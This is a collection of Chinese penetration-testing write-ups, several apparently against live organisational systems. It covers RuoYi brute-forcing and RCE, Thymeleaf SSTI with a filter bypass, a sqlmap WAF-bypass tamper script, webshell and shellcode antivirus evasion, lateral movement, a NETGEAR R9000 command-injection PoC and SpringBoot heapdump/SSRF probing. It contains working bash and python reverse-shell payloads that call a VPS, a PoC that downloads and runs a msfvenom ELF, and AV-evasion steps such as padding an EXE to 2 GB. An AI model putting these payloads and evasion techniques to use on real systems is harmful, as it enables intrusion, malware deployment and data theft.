事件起因是因为要搞毕设了，在为这个苦恼，突然负责毕设的老师说得到cnvd下发的证书结合你的漏洞挖掘的过程是可以当成毕设的，当时又学习了一段时间的web渗透方面的知识，于是踏上了废寝忘食的cnvd证书漏洞挖掘的日子。 前言：听群友们说，一般可以获得cnvd事件型的证书要三大运营商、铁塔的漏洞，而且必须要高危的漏洞才可以获得证书，低危和中危都没有证书，交上去只能得到cnvd的漏洞编号，于是就朝着三大运营商、铁塔的高危漏洞去挖掘。 一、信息收集 信息收集的目的是了解目标的基本情况，包括网络拓扑结构、系统架构、运行的服务和应用程序、已知漏洞、潜在安全风险等。通过信息收集，渗透测试人员可以获得对目标的深入了解，从而确定可能的攻击矢量和漏洞利用路径，为后续的渗透测试工作做准备。 1、我一般先用奇安信的鹰图平台，使用里面搜索引擎的特定的语法搜索我要找的单位名或者关键字，精准定位。 鹰图平台：https://hunter.qianxin.com/ 经过一段时间的换各种关键字的搜索，终于发现了一个看着系统界面比较眼熟的界面，原谅我的厚码。。。 看着大概率是若依框架。 确定为vue前后端分离的若依管理系统。 二、历史漏洞分析 确定了这个系统是基于SpringBoot，Spring Security，JWT，Vue & Element 的前后端分离权限管理系统。 这是我第一次挖掘关于若依vue框架的系统，以前遇到的都是基于SpringBoot的权限管理系统，核心技术采用Spring、MyBatis、Shiro。 让我们先来看看若依的历史漏洞和解析：若依框架是一个 Java EE 企业级快速开发平台，基于经典技术组合（Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap），内置模块如：部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置；支持集群，支持多数据源，支持分布式事务。若依框架漏洞默认口令漏洞早期若依框架漏洞版本有反序列化漏洞 ，执行任意命令。 若依后台管理系统是基于SpringBoot、Spring Security、JWT、Vue & Element 的前后端分离权限管理系统，可用于包含网站管理后台、网站会员中心、CMS、CRM、OA等、的Web应用程序。若依后台管理系统存在未授权访问和文件上传高危漏洞，攻击者可利用该漏洞获取服务器控制权。 比较常见的历史漏洞： 1、前端存储账号密码或默认弱口令admin/admin123 2、Druid页面未授权访问 http://xxx//prod-api/druid/index.htmlhttp://xxx//dev-api/druid/index.htmlhttp://xxx//api/druid/index.htmlhttp://xxx//admin/druid/index.htmlhttp://xxx//admin-api/druid/index.html3、后台任意文件读取http://xxx/common/download/resource?resource/profile/…/…/…/…/etc/passwd 4、后台SQL注入漏洞位置在"系统管理"里中的"角色管理中"http://xxxxxxx/system/role/listhttp://xxxxxxx/system/dept/edithttp://xxxxxxx/system/role/exporthttp://xxxxxxx/tool/gen/createTable 5、shiro反序列化 若依管理系统使用了Apache Shiro，Shiro 提供了记住我（RememberMe）的功能，下次访问时无需再登录即可访问。系统将密钥硬编码在代码里，且在官方文档中并没有强调修改该密钥，导致框架使用者大多数都使用了默认密钥。 攻击者可以构造一个恶意的对象，并且对其序列化、AES加密、base64编码后，作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞，进而在目标机器上执行任意命令。 众所周知的，网上大把工具撸就完事了https://github.com/SummerSec/ShiroAttack2 6、SnakeYaml组件漏洞-定时任务-RCE 定时任务对于传入的"调用目标字符串"没有任何校验，导致攻击者可以调用任意类、方法及参数触发反射执行命令。 RuoYi 触发 SnakeYaml 反序列化漏洞的漏洞点。漏洞点在后台 系统监控 > 定时任务 处，可以调用类的方法 系统会调用 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法来处理系统任务 首先会获取需要执行的目标，即我们的 payload，再获取实例名和方法名以及方法参数 然后判断实例名是否是 带完全包名称的类名，如果不是的话，则调用 SpringUtils.getBean(beanName) 获得实例；如果是的话，则使用 Class.forName(beanName).newInstance() 获得实例 最后调用 invokeMethod(SysJob sysJob) 方法实现方法的调用 public static void invokeMethod(SysJob sysJob) throws Exception     {          String invokeTarget \= sysJob.getInvokeTarget();          String beanName \= getBeanName(invokeTarget);              String methodName \= getMethodName(invokeTarget);          List<Object\[\]> methodParams \= getMethodParams(invokeTarget);          if (!isValidClassName(beanName))         {              Object bean \= SpringUtils.getBean(beanName);              invokeMethod(bean, methodName, methodParams);         }          else         {              Object bean \= Class.forName(beanName).newInstance();              invokeMethod(bean, methodName, methodParams);         }     }   跟进 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 可以看到这里通过 getDeclaredMethod 获得了类的方法，然后通过反射执行方法。 当我们传入的类名为完全包名称，需要满足三个条件才能正常使用 具有无参构造方法 调用的方法需要是类自身声明的方法，不能是他的父类方法 构造方法和调用的方法均为 public 而 org.yaml.snakeyaml.Yaml 是符合这些条件的，我们可以利用这个点去触发 SnakeYaml 反序列化漏洞。 三、正戏开始 要获得证书就得要挖掘到高危的漏洞，若依vue框架是没有shiro反序列化的，所以得进入后台去挖掘定时任务的RCE。 1、回到之前的找到若依的登录框，上来肯定是试一试默认的弱口令admin123。不出意外密码错误了 2、测试了一下，没有密码输入错误次数上限，就是输入错多少次都可以，也没有验证码验证登录，不用多说了，爆破启动！！！ 抱着试一试的态度，没想到真滴爆出来了 毕竟是第一次打若依vue框架的，我就把上面提到的漏洞都测试了一遍，没一个成功的（除了定时任务-RCE的漏洞没测试）。。。。。 3、我先去网上浏览一阵子的若依后台定时任务调用类的方法RCE的文章，开搞！！！ 首先先去Github上面找到大佬写好的项目生成恶意jar包：https://github.com/artsploit/yaml-payload先修改项目源码文件 src/artsploit/AwesomeScriptEngineFactory.java 执行Linux反弹shell命令 修改AwesomeScriptEngineFactory.java格式： Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1"}); 在yaml-payload-master文件夹目录下编译AwesomeScriptEngineFactory.java文件 javac .\src\artsploit\AwesomeScriptEngineFactory.java 得到编译好的AwesomeScriptEngineFactory.class文件 把src目录打包成yaml-payload.jar文件 jar -cvf yaml-payload.jar -C .\src\ . 把打包好的yaml-payload.jar上传到vps上面，使用python命令开启临时的http网站：`python -m SimpleHTTPServer 8880 测试访问vps开启的网站 在vps上面使用nc监听设定的端口，反弹shell 回到若依系统后台，使用爆破出来的账号密码登录，进入系统监控-->定时任务-->新增，添加计划任务。 调用方法也没有什么限制，可以直接使用http。任务名随便写，调用方法：org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager \[ !!java.net.URLClassLoader \[\[ !!java.net.URL \["http://httpIP/yaml-payload.jar"\] \]\] \]') cron表达式：0/10 \* \* \* \* ? 点击确定 在多执行几次刚刚设置好的定时任务 在我满心欢喜的以为成功的时候，现实却给我当头一棒，nc监听一直没有动静，啊啊啊啊啊啊啊啊啊。。。。。又去多执行了几次也没有反弹到shell 去看刚刚vps使用python开启的http，没有访问响应gg。 想了想会不会是命令被系统拦截了或者是AwesomeScriptEngineFactory.java文件里面的命令错误执行不了。于是又去换了一种方式的反弹shell命令 重新修改AwesomeScriptEngineFactory.java格式：使用base64编码这个命令：bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1base64编码后的命令：YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgMD4mMQ==AwesomeScriptEngineFactory.java格式：Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgM 再按照上面的方法编译一遍，然后再打包成jar文件，再次上传到vps里面，把之前的删掉。 返回到若依管理系统，再次执行几次定时任务，不用更改。。。让命令飘一会。 pleasantly surprised。。。。gg了。 四、柳暗花明 我以为要下播的时候，去上了个厕所。。。。回来突然有灵感想到可不可以使用python命令来执行反弹shell命令呢，现在的服务器linux服务器基本都是自带python的，说干就干。 继续修改AwesomeScriptEngineFactory.java文件使用python的特性构造payload，修改的格式：Runtime.getRuntime().exec(new String\[\]{"python","-c","import os,socket,subprocess;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(('vpsIP',vps监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=su 如下图： 继续执行之前的步骤，按照上面的方法编译一遍，然后再打包成jar文件，再次上传到vps里面，把之前的删掉。 回到若依管理系统继续执行我们写入的定时任务。 结果芜湖！！！成功成功。 咱也不知道为什么。没拦截python？ 最后也是通过了cnvd的事件型高危 漏洞已上报厂家，厂家已修复。 修复建议：升级Ruoyi至最新版本。

记一次攻防演练中幸运的从若依弱口令到后台getshell的过程和分析。 0x01 漏洞发现 首先，我会先把目标的二级域名拿去使用搜索引擎来搜索收集到包含这个目标二级域名的三级域名或者四级域名的网站。 这样子可以快速的定位到你所要测试的漏洞资产。 1、推荐三个比较实用的搜索引擎： 奇安信-鹰图平台：https://hunter.qianxin.com/ 360-quake: https://quake.360.net/ fofa: https://fofa.info/ 搜索语法：domain="二级域名" 2、通过一番搜索查找翻阅，幸运女神光顾~~~。 通过搜索引擎搜索到包含目标的二级域名找到关于目标的的一个三级域名，而且还是漏洞百出的若依系统。 经典：你若不离不弃，我必生死相依 基于SpringBoot的权限管理系统，核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖 0x02 漏洞分析 Thymeleaf模板注入漏洞简介 Thymeleaf模板注入形成原因，简单来说，在Thymeleaf模板文件中使用th:fragment、 ， th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中，会触发Thymeleaf模板注入漏洞。如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为@ResponseBody 和 @RestController 不会进行View解析而是直接返回。所以这同样是修复方式。 漏洞点 Server-Side Template Injection简称SSTI，也就是服务器端模板注入。 我们在审计模板注入（SSTI）漏洞时，主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。在Controller层，我们关注两点：1、URL路径可控。2、return内容可控。所谓可控，也就是接受输入。 1、URL路径可控 @RequestMapping("/hello") public class HelloController {  @RequestMapping("/whoami/{name}/{sex}")  public String hello(@PathVariable("name") String name, @PathVariable("sex") String sex){    return "Hello" + name + sex; } } return内容可控 @PostMapping("/getNames") public String getCacheNames(String fragment, ModelMap mmap) {  mmap.put("cacheNames", cacheService.getCacheNames());  return prefix + "/cache::" + fragment; } return内容可控： \_\_${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI nputStream()).next()}\_\_::.x URL路径可控： \_\_${T(java.lang.Runtime).getRuntime().exec("touch test")}\_\_::.x 2、Ruoyi使用了thymeleaf-spring5，其中四个接口方法中设置了片段选择器： http://xxxxxx/monitor/cache/getNameshttp://xxxxxx/monitor/cache/getKeyshttp://xxxxxx/monitor/cache/getValuehttp://xxxxxx/demo/form/localrefresh/task通过这四段接口，可以指定任意fragment，以/monitor/cache/getNames接口为例，controller代码如下： @PostMapping("/getNames") public String getCacheNames(String fragment, ModelMap mmap) {    mmap.put("cacheNames", cacheService.getCacheNames());    return prefix + "/cache::" + fragment; } 简单理解：接收到 fragment 后，在return处进行了模板路径拼接。根据代码我们知道根路径为 /monitor/cache ，各个接口路径分别为 /getNames ， /getKeys ， /getValue ，请求参数均为fragment 。 这四段接口方法中，都使用了thymeleaf的语法： "/xxx::" + fragment; 我们构造fragment的值为： url编码： %24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%64%6e%73%6c%6f%67%30%40%22%29%7d                    ↓ ${T (java.lang.Runtime).getRuntime().exec("curl dnslog地址")} 当我们构造的模板片段被thymeleaf解析时，thymeleaf会将识别出fragment为SpringEL表达式。不管是?fragment=header(payload)还是?fragment=payload 但是，在执行SpringEL表达式之前，thymeleaf会去检查参数值中是否使用了"T(SomeClass)"或者"new SomeClass" 这个检查方法其实可以绕过，SpringEL表达式支持"T (SomeClass)"这样的语法，因此我们只要在T与恶意Class之间加个空格，就既可以绕过thymeleaf的检测规则，又可以执行SpringEL表达式。 因此payload中T与恶意Class之间含有空格，不论是空格或者制表符都可以绕过检测。 漏洞影响：RuoYi <= v4.7.1 0x03 开始战斗 1、回到之前的若依登录框，若依的管理系统肯定要试试看弱口令啦，用户admin，密码admin123。 非常nice，弱口令yyds，登录进入若依系统后台。 经过一番测试，后台定时任务执行不了命令，反弹shell不成功，更换了几个不同的payload都没效果，太菜了，咱也不知道为什么，其他的常见的漏洞任意文件读取、SQL注入、未授权访问啥的都没有，所以才会来测试一番Thymeleaf模板注入远程命令执行。 这四个接口路径都可以访问，我们使用第一个接口路径进行测试。 /monitor/cache/getNames /monitor/cache/getKeys /monitor/cache/getValue /demo/form/localrefresh/task 2、在若依管理系统后台直接访问/monitor/cache/getNames接口路径，使用burp suite拦截访问/monitor/cache/getNames路径的数据包。 访问/monitor/cache/getNames 使用burp suite拦截数据包 使用burp suite上自带的编码工具，使用base64编码反弹shell命令 /bin/bash -i >& /dev/tcp/vps IP/5566 0>&1 构造fragment的值，把上面使用base64的编码放入下面的payload编码成url编码 ${T (java.lang.Runtime).getRuntime().exec("bash \-c {echo,L2Jpbi9iYXNooC1poD4moC9kZXYvdGNwL3ZwcyBJUC81NTY2oDA+JjE=}|{base64,-d}|{bash,-i}")} 把前面拦截到的访问/monitor/cache/getNames路径的数据包更改请求方式为POST，更改完请求方式后在访问路径后面拼接上我们刚刚经过url编码构造fragment的值。 /monitor/cache/getNames?fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%a0%5c%2d%63%20%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%6f%43%31%70%6f%44%34%6d%6f%43%39%6b%5a%58%59%76%64%47%4 3、在vps上面使用nc监听5566端口，接收反弹shell。 把刚刚更改了请求方式为POST，拼接上url编码构造fragment的值的数据包发送出去，可以发到重发器多发几遍。 返回包返回状态200，应该是执行成功了。 回到vps查看监听状态，nice！！！成功，拿下拿下。 漏洞挖掘的过程中要有耐心、细心，把能试的漏洞都试一试，反正试一试又不要钱，说不定就getshell了呢。。。。。。 0x04 修复建议 把若依系统更新到最新版本。

拿到这个网站，通过对比查询，我们发现 闭合参数 finsh 时，查询出的内容更多 经过进一步判断，确实存在漏洞 不过在测试的时候发现存在一定的过滤 但是可以通过内联注释进行绕过。 这里也是加深了解了内联注释的知识点，之前只会简单的利用 /*!50000UniON SeLeCt*/ /*!12345union*/不知其所以然，有这样一段解释，在 mysql 中 /*!...*/不是注释，mysql 为了保持兼容，它把一些特有的仅在 mysql 上用的语句放在 /*!...*/中，这样这些语句如果在其他数据库中是不会被执行，但是在 mysql 中它会执行。当后面接的数据库版本号小于自身版本号，就会将注释中的内容执行，当后面接的数据库版本号大于等于自身版本号，就会当做注释来处理。如下语句 /*!50001UniON SeLeCt*/ 这里的 50001 表示假如数据库的版本是 我们首先查询出数据库的版本信息 当前面的数字为 50723 及小于这个数的五位数字组合都可以利用成功 当前面的数字为 50724 及大于这个数的五位数字组合无法利用成功 我们已经手工验证过了存在 SQL 注入漏洞，但是却无法利用 sqlmap 识别出联合注入，是因为存在检测，需要内联注释进行绕过 我们需要编写一个Tamper脚本 我们打开 sqlmap-master\tamper 下的一个文件 htmlencode.py 我们看到就是一个查找替换的操作 我们目前已经知道需要利用内联注释来实现绕过检测的操作 我们修改代码 import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies():    pass def tamper(payload, **kwargs):    """   HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> &#39;)   >>> tamper("1' AND SLEEP(5)#")   '1'/!*00000AND SLEEP(5)*/#'   """    if payload:        replaced_text = payload        replace_code = re.search(r"'(.*?)(#|--)", payload)        if replace_code:             replaced_text = re.sub(r"(?<=')(.*?)(?=#|--)", r"/!*00000\1*/", payload)      return replaced_text 成功生效

0x01 获取webshell 在各种信息搜集中，发现某个ip的端口挂着一个比较老的服务。 首先看到了员工工号和手机号的双重验证，也不知道账号是什么结构组成的，基本上放弃字典爆破这一条路。于是乎打开之前用灯塔的扫描结果，看看文件泄露是否有什么可用的点。发现其中有一个略显突出的help.html。可能是系统的帮助文档 看得出来也是一个年久失修的系统了，图片的链接都已经404了。但是这里得到了一个示例账号zs001，也知道了初始密码是123456（吐槽：果然年久失修了，这个系统就没有输入密码的input，只有一个手机号验证码）。 知道了账号，这里还缺一个手机号。感觉这个系统应该没做验证，毕竟看上去是一个老旧的系统，估计有没有人用用都不好说，可能是单位那种废弃了但是还没下架的边缘资产。然后随便输入一个手机号上去。果然！ 然后随便找个手机接码平台等待验证码发过来，然后过了十几分钟无果，想到可能是废弃资产的原因验证码接口早就失效了。于是没办法只能掏出burp开始爆破，估计验证码也是四位数，如果是六位数验证码大概率没系了。但是这波运气还算可以。也是成功爆破出来了。 然后登录后台直接上传一个木马，没有任何过滤。emmmmmmm开始怀念过去。那时候的洞是真好挖啊。 但是访问的时候出现了一个坏消息。404了，404了怎么办呢。想到了可能目标服务器上有杀软之类的东西。木马可能是上传到服务器上了，然后再上传到服务器之后被杀软自动隔离，那么这时候访问就会出现404。 0x02 webshell免杀 这里中途又替换了几个github上的免杀木马，均无效。ps:我是懒狗，免杀什么的能不写代码就不写代码。php这玩意有个好处，就是语法特别脏，各种免杀手法层出不穷，花里胡哨。这里就简单的介绍几种比较偷懒的方法。 2.1 无字母webshell 个人在实际渗透过程中还算挺好用的，无字母webshell本来是ctf的一些题目，但是事实上免杀效果确实也挺强，而且适应性也比较高，适合一句话木马。之后可以直接上蚁剑链接。 举例： ps：当然都说了偷懒，肯定不是我写的，直接去ctf平台的题目的writeup偷一个就好了。或者直接百度搜索无字母webshell。 免杀效果如下： ps: emmmmmmm，我只能说，无敌好吧。 2.2 一键免杀工具免杀 这里不多说了，去github直接找就是，但是github特征过于明显，以至于被多个杀软厂商标记。现在感觉免杀的效果也不太好了。基本上start高一些的工具生成的webshell都是秒杀。但是可以找一些start数量少的，效果也还不错。 2.3 混淆免杀 混淆免杀，php有很多在线混淆的网站，也就是在不改变代码的功能情况下打乱语法的结构使得代码变为不可读或者可读性很差的代码防止其他人去修改。 可以直接去网上搜索php混淆 这里就是用的就是在线混淆php代码的方式直接过了目标主机上的杀软。 0x03 绕过杀软上线 接下来就是传frp代理，上cs的操作了。这里先上一个cs，但是由于目标机器上有杀软，所以采用shellcode加加载器的方式去进行绕过。众所周知，cs的特征较为明显，很容易就会被杀软拦截。 首先是shellcode免杀，shellcode免杀可以使用github上的sgn加密工具，免杀效果能达到vt0检测。github链接:https://github.com/EgeBalci/sgn 使用方法也很简单，把cs生成的shellcode放在sgn文件夹中执行 ,***.sgn就是免杀之后的shellcode了。 sgn.exe shellcode文件名 免杀前效果 免杀后效果 剩下的就是加载器本身的免杀了，这里我就用github随便clone下来的加载器。可以看到编译完成都没来得及运行就直接被杀了。那么怎么在不动加载器的源代码的情况下。完成免杀效果呢。 其实有一个比较抽象的技巧，就是当文件足够大之后，杀软的沙箱就不会去运行该程序，从而实现绕过杀软的检测。比如一个几百m的exe杀软就不会去检测。 那么怎么能让文件变得足够大呢？就是不断往文件后面填充垃圾字符，比如\x00这样既不会影响exe执行，又能够让exe变得足够大。比如我用python不断往文件后面追加\x00字符。 这里上代码 with open('1.exe', 'ab') as f:\f.write(b'\x00' * 1024 * 1024 * 100) 可以看到每次运行add.py 1.exe就大了100m。 然后多次运行，当1.exe达到2g的时候，根据每个杀毒软件版本不一定能用。有些新的杀软不会检测文件大小判断是否运行。（这个方法很玄学，不是很稳定，有时候能有有时候不能用。但是还是值得一试，毕竟是老前辈传承下来的经典免杀手法。） 但是问题来了，2个g的文件怎么上传到服务器又是一个问题，这里就要说明一下\x00的好处了，可以通过压缩成zip的方式把exe压缩，压缩文件的体积其实还是和之前编译好的文件差不多大。然后只能很方便的就能够把压缩包上传到服务器，然后通过服务器的命令去进行解压。也可以通过webshell去实现解压文件的功能。 0x04 内网移动 之后便是熟悉的内网横向环节了。首先是看到了一个弱口令，然后直接链接数据库然后getshell。 然后直接net user add，之后3389链接上服务器，翻出了一个密码本。 找到一个双网卡的sql server服务器，然后上线，扫一波SMB 最后找到重要系统10.x.x.x 这个系统，看着是java写的后端,也是一个看起来很老的界面了。 扫了一下路径发现存在druid。 原本想找session登录的，然后想了一下试一下运气直接怼一波st2，成功拿下（也是运气爆棚）

漏洞概述 漏洞服务： uhttpd 漏洞类型： 远程命令执行 影响范围： 1.0.4.26之前的NETGEAR R9000设备会受到身份验证绕过的影响 解决建议： 更新版本 漏洞复现 操作环境： ubuntu:22.04 qemu-version： 8.1.1 仿真环境 wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip 下载固件。 binwalk -Mer R9000-V1.0.4.26.img 可通过 binwalk 常规解压获得文件系统。 检查 ELF32 文件架构为 arm-32-little。 wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2 wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress 下载合适的虚拟机映像。 #!/bin/sh # 参考《CTF实战》by ChaMd5 # 'ens33': The NIC is that can connect internet #sudo ifconfig eth0 down                 # 首先关闭宿主机网卡接口 sudo brctl addbr br0                     # 添加一座名为 br0 的网桥 sudo brctl addif br0 ens33               # 在 br0 中添加一个接口 sudo brctl stp br0 off                   # 如果只有一个网桥，则关闭生成树协议 sudo brctl setfd br0 1                   # 设置 br0 的转发延迟 sudo brctl sethello br0 1                # 设置 br0 的 hello 时间 sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口 sudo ifconfig ens33 0.0.0.0 promisc up   # 启用网卡接口 sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址 sudo brctl show br0                      # 查看虚拟网桥列表 sudo brctl showstp br0                   # 查看 br0 的各接口信息 sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口，只允许 root 用户访问 sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口 sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口 sudo brctl showstp br0 配置网络。 #!/bin/sh qemu-system-arm \    -M vexpress-a9 \    -kernel vmlinuz-3.2.0-4-vexpress \    -initrd initrd.img-3.2.0-4-vexpress \    -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \    -append "root=/dev/mmcblk0p2 console=ttyAMA0" \    -net nic -net tap,ifname=tap0,script=no,downscript=no \    -nographic-M             # 选择开发板• -m # 指定内存大小 -drive            # 定义存储驱动器• file=            # 定义镜像文件• -net nic          # 创建客户机网卡• -net tap                    # 创建 tap 设备，以桥接方式跟宿主机通信• ifname=virtual0             # tap 设备与名为 virtual0 的虚拟网卡进行桥接通信• -nographic                  # 以非图形化模式启动• -append          # 内核启动附加参数• -console=ttyAMA0    # console指向串口，有此启动参数，内核启动日志才能输出到宿主机终端 -nographic # 不再启用额外的终端界面 启动 qemu-system-armhf 环境，默认用户名密码都为 root。 ifconfig eth0 192.168.152.168/24 为 qemu-system-armhf 配置静态 IP。 tar -cvf squashfs-root.tar.gz squashfs-root/ python3 -m http.server 将文件根系统打包，然后利用 python3 的 http.server 模块下载到 qemu-system-armhf 的根目录中并用 tar xvf squashfs-root.tar.gz 解压。 cd /squashfs-root mount --bind /proc proc # proc目录是一个虚拟文件系统，可以为linux用户空间和内核空间提供交互 mount --bind /dev dev   # /dev/下的设备是通过创建设备节点生成的，用户通过此设备节点来访问内核里的驱动 chroot . sh 因为 chroot 会导致无法在隔离的文件系统中访问原本的 /proc和 /dev 目录，这里利用 mount 命令将 qemu-system-armhf 的 proc 和 dev 目录挂在到 squashfs-root 中，并更换根目录为 squashfs-root。 Web模拟 find -name uhttpd cat ./etc/init.d/uhttpd# ./etc/init.d/uhttpd ... start() { #config_load uhttpd #config_foreach start_instance uhttpd #mkdir /tmp/www #cp -rf /usr/www/* /tmp/www /www/cgi-bin/uhttpd.sh start inetd detplc    #for bug58012    touch /tmp/fwcheck_status } ... 查找 uhttpd 的相关文件。 #!/bin/sh REALM=`/bin/cat /module_name | sed 's/\n//g'` UHTTPD_BIN="/usr/sbin/uhttpd" PX5G_BIN="/usr/sbin/px5g" uhttpd_stop() { kill -9 $(pidof uhttpd) } uhttpd_start() {        $UHTTPD_BIN -h /www -r ${REALM}  -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 } case "$1" in stop) uhttpd_stop ;; start) uhttpd_start ;; restart) uhttpd_stop uhttpd_start ;; *) logger -- "usage: $0 start|stop|restart" ;; esac 查看 start() 函数中利用的 /www/cgi-bin/uhttpd.sh 脚本。发现启动命令为 $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 其中 REALM = R9000 ，UHTTPD_BIN = /usr/sbin/uhttpd。我们无需开启 https，所以启动命令为 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0. 逆向分析 wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip 获取修复版本的固件。因为源码较为繁杂，我们通过 Bindiff 进行二进制比对，来查找漏洞点。 shift+D 选取修复版本的 /usr/sbin/uhttpd 文件即可，主要查看登录验证的 uh_cgi_auth_check() 函数。  memset(s, 0, 0x1000u);  v14 = strlen(v13);  uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6);  v15 = strchr(s, ':');  if ( !v15 ) { LABEL_32:    v16 = 0;    v17 = 0;    goto LABEL_15; }  v16 = v15 + 1;  *v15 = 0;  if ( v15 != (char *)0xFFFFFFFF ) {    snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1);    system(command);    v3 = cat_file(73805); }  v17 = s 漏洞版本 base64 解密后 snprintf() 后直接传给 system() 执行，这里会把 v15(:)后面的内容放到 %s 处，记得加\n来执行多条指令。  memset(s, 0, 0x1000u);  v15 = strlen(v14);  uh_b64decode(s, 4095, v14 + 6, v15 - 6);  v16 = strchr(s, 58);  if ( !v16 ) { LABEL_15:    v17 = 0;    v18 = 0;    goto LABEL_16; }  v17 = v16 + 1;  *v16 = 0;  if ( v16 != (char *)-1 ) {    v18 = s;    dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0);    v19 = cat_file("/tmp/hash_result");    goto LABEL_17; } 而修复版本则利用 dni_system() 执行，只可控参数。 获取权限 poc: #!/usr/bin/python3 from pwn import * import requests import base64 cmd  = 'admin:' cmd += '`' cmd += 'wget http://192.168.152.167:8000/shell.elf\n' cmd += 'chmod 777 ./shell.elf\n' cmd += './shell.elf\n' cmd += '`' assert(len(cmd) < 255) cmd_b64 = base64.b64encode(cmd.encode()).decode() headers = {    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",    "Accept-Encoding": "gzip, deflate",    "Connection": "keep-alive",    "Upgrade-Insecure-Requests": "1",    "Authorization": "Basic " + cmd_b64 } def attack():    try:        requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3)    except Exception as e:        print(e) attack()msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf 利用 msf 生成对应架构的木马程序，然后在shell.elf所在的目录开启http服务，利用漏洞将木马程序下载下来。 启动监听，并执行 exp.py 成功获取 shell，我们利用获取的权限在 www 目录创建 flag.txt 文件然后访问它。 成功创建。

某个夜里，随手点进去的一个小程序，引发的连锁反应。 开局一个小程序： 登录方式令人发愁，尝试收集，无果。 数据交互的地方说不定有sql，再次尝试，还是无果。 复制连接去web端，看看有没有什么收获： 好熟悉的界面，这不是SpringBoot框架不，立马工具梭哈。 果然存在springboot未授权访问，网上查找了一些相应的资料，不同的路径泄露不同的信息。 访问/actuator 发现存在heapdump，heapdump是一个二进制文件，里面存储大量敏感信息，立马访问下载，使用工具爬取敏感信息（JDumpSpider-master自动化爬取heapdump工具，特别好用）。 成功找到redis密码，同样还有nacos密码。 Redis连接，无果，但是还有nacos，访问/ actuator/env，寻找地址。 立即访问，还是无果。正当我准备放弃时，又发现一个地址而且是同ip下不同的端口，同样访问。 第一次遇见也不知道是什么，弱口令爆破一波，无果。为什么我这么弱，不甘心，复制粘贴浏览器搜索，还真就给他搜出东西来了。 再次尝试默认密码，无果，我最后的希望ssrf，拿下payload测试。 好像有戏，但是我们登录不进去，看不到是否成功，于是想到了无回显的ssrf的利用，联动dnslog，看看是否有外联日志，说干就干，先到dnslog网址上申请一个ip，将127.0.0.1替换。 来了来了，存在ssrf。（点到为止） 结论： 测试是一个艰辛又漫长的过程，抓住一切的可能才有结果。在任何情况下，未经授权的渗透测试行为都是违法的，可能导致严重的法律后果。因此，在进行任何安全测试之前，请务必与目标单位达成明确的协议和授权。

